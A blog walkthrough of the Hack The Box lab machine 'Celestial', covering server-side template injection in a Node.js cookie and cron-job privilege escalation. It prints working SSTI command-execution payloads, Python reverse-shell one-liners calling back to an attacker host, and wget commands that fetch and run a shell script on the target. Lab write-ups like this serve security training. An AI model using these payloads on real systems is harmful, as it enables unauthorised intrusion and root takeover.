HTB: Celestial – Walkthrough

by | 1. Feb 2024 | CTF, Hacking, Walkthrough

Box: Celestial

Platform: Hack The Box

OS: Linux

Platform Difficulty: Medium

User Difficulty: 4.0

My Difficulty Rating: User 3 / Root 2


Summary (Spoilers)

This box primarily features Server-Side Template Injection (SSTI).

For user access, we first find the attack vector in a Base64-encoded HTTP Header. We then identify SSTI as the approach and find the right payload for a reverse shell.

For root access, after enumeration, we find an easy attack vector through a cron job executing a writable Python script as root.


Enumeration

Our initial Nmap scan reveals only one open port.

Further scanning indicates that a Node.js Express framework is running on this port.

With no other alternatives, we access the port through our browser, finding a website displaying “Hey Dummy 2+2 is 22”:

http://10.10.10.85:3000/

We use Burp Suite to intercept a request to the website. There, we find a lengthy cookie named “profile”:

The cookie appears to be Base64 encoded, so we decode it:

The decoded cookie reveals clear text values, including a “Dummy” username and a “num” value, seemingly related to the website’s calculation.

Next, we experiment with different values, first changing the username to “admin”. We use an online Base64 encoder for this:

Base64 Encode and Decode – Online

After modifying the cookie, the website reflects the new username “admin” but shows no other changes.

Considering the website’s reflection of our input, we attempt cross-site scripting (XSS) with a <script>alert(1)</script> payload, but this proves unsuccessful after Base64 encoding.

The website’s text “2 + 2 is 22” hints at Server-Side Template Injection (SSTI). We encode a simple test payload and send it as the cookie value:

{"username":"Dummy","country":"Idk Probably Somewhere Dumb","city":"Lametown","num":"{7*7}"}

The expression gets rendered, showing “49” on the website:

This confirms the website’s vulnerability to SSTI.


Foothold/User

We now search for a payload to gain a reverse shell. Knowing the website is based on Node.js, we try payloads from the HackTricks website under Jade (NodeJS):

{root.process.mainModule.require('child_process').spawnSync('cat', ['/etc/passwd']).stdout}

The website reveals the contents of /etc/passwd, confirming a successful command execution.

Instead of trying individual usernames, we opt to achieve a reverse shell on the system. We experiment with various payloads from revshells.com, but none work. Thus, we decide to upload a file with a Python payload and execute it on the server using the SSTI vulnerability. We create and transfer the file, then start a netcat listener:

nano shell.py

Explanation: This command opens the nano text editor to create a Python script named ‘shell.py’ containing the reverse shell code.

Content of shell.py:

python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.16.10",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("bash")’
python3 -m http.server 80

Explanation: Starts a simple HTTP server on port 80 using Python, serving files from the current directory.

Payload for Base64 encoded cookie:

{"username":"Dummy","country":"Idk Probably Somewhere Dumb","city":"Lametown","num":"{root.process.mainModule.require('child_process').spawnSync('wget', ['http://10.10.16.10/shell.py'])}"}

Our file transfer was successful. Now we can start a netcat listener and the run the file via another Base64 encoded cookie value:

nc -lnvp 4444

Explanation: Start a netcat listener on port 4444.

Payload for Base64 encoded cookie:

{"username":"Dummy","country":"Idk Probably Somewhere Dumb","city":"Lametown","num":"{root.process.mainModule.require('child_process').spawnSync('python3', ['./shell.py'])}"}

We successfully establish a shell.

Then we stabilize our shell for a fully interactive terminal using a series of commands (python3 -c 'import pty;pty.spawn("/bin/bash")', CTRL + Z, stty raw -echo; fg, export TERM=xterm, then pressing ENTER).

The user.txt file is found in user sun’s home folder.


Privilege Escalation

We transfer linpeas.sh to the victim machine for further enumeration:

python3 -m http.server 80

Explanation: Starts a Python HTTP server on port 80, allowing file transfers between the attack box and the victim machine.

wget http://10.10.16.10/linpeas.sh

Explanation: Downloads the ‘linpeas.sh’ script from the attack box’s HTTP server to the victim machine.

chmod +x linpeas.sh

Explanation: Changes the permissions of ‘linpeas.sh’, making it executable.

./linpeas.sh

Explanation: Executes the ‘linpeas.sh’ script to perform an extensive system enumeration.

There are some interesting findings. The first possible attack vector is a kernel version that appears to be out of date. This is no surprise, as this is an older box. However, we decide not to go down that road at the moment, and to enumerate further to see if there was another intentional way to root the box.

There is a cron job that runs every 30 minutes, but that seems a bit long for my taste. Based on this result, we decide to take a closer look at other scripts that might be running automatically. So we put pspy64 on the box and run it:

python3 -m http.server 80

Starts a Python HTTP server for file transfer.

wget http://10.10.16.10/pspy64

Downloads ‘pspy64’ from the attack box.

chmod +x pspy64

Makes ‘pspy64’ executable.

./pspy64

Executes ‘pspy64’ to monitor processes and cron jobs.

We discover a cron job executing /home/sun/Documents/script.py. The script itself just writes a message to the terminal:

Fortunately, we have write access to the Python script, so the exploit doesn’t seem too complicated.

We inject a Python reverse shell command into the file:

echo 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.16.10",5555));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("bash")' >> /home/sun/Documents/script.py

Explanation: Appends a Python reverse shell script to ‘script.py’, which will be executed by the cron job.

We start a netcat listener on the attack box and, after a short period of time, we receive our root shell. We now are root and have access to the root flag. So we successfully rooted the box.


Final Thoughts

The box was really fun. The medium difficulty seems a bit high, especially as the root part is very standard. At least nowadays the box would probably be classified as easy. However, I found the SSTI part really interesting and learned a thing or two by trying different payloads.

After finishing the box, I realised that most walkthroughs use a Node.js deserialisation attack for the user part. So if you are interested in learning this way too, be sure to search for other walkthroughs.


Featured Image: DALL-E 3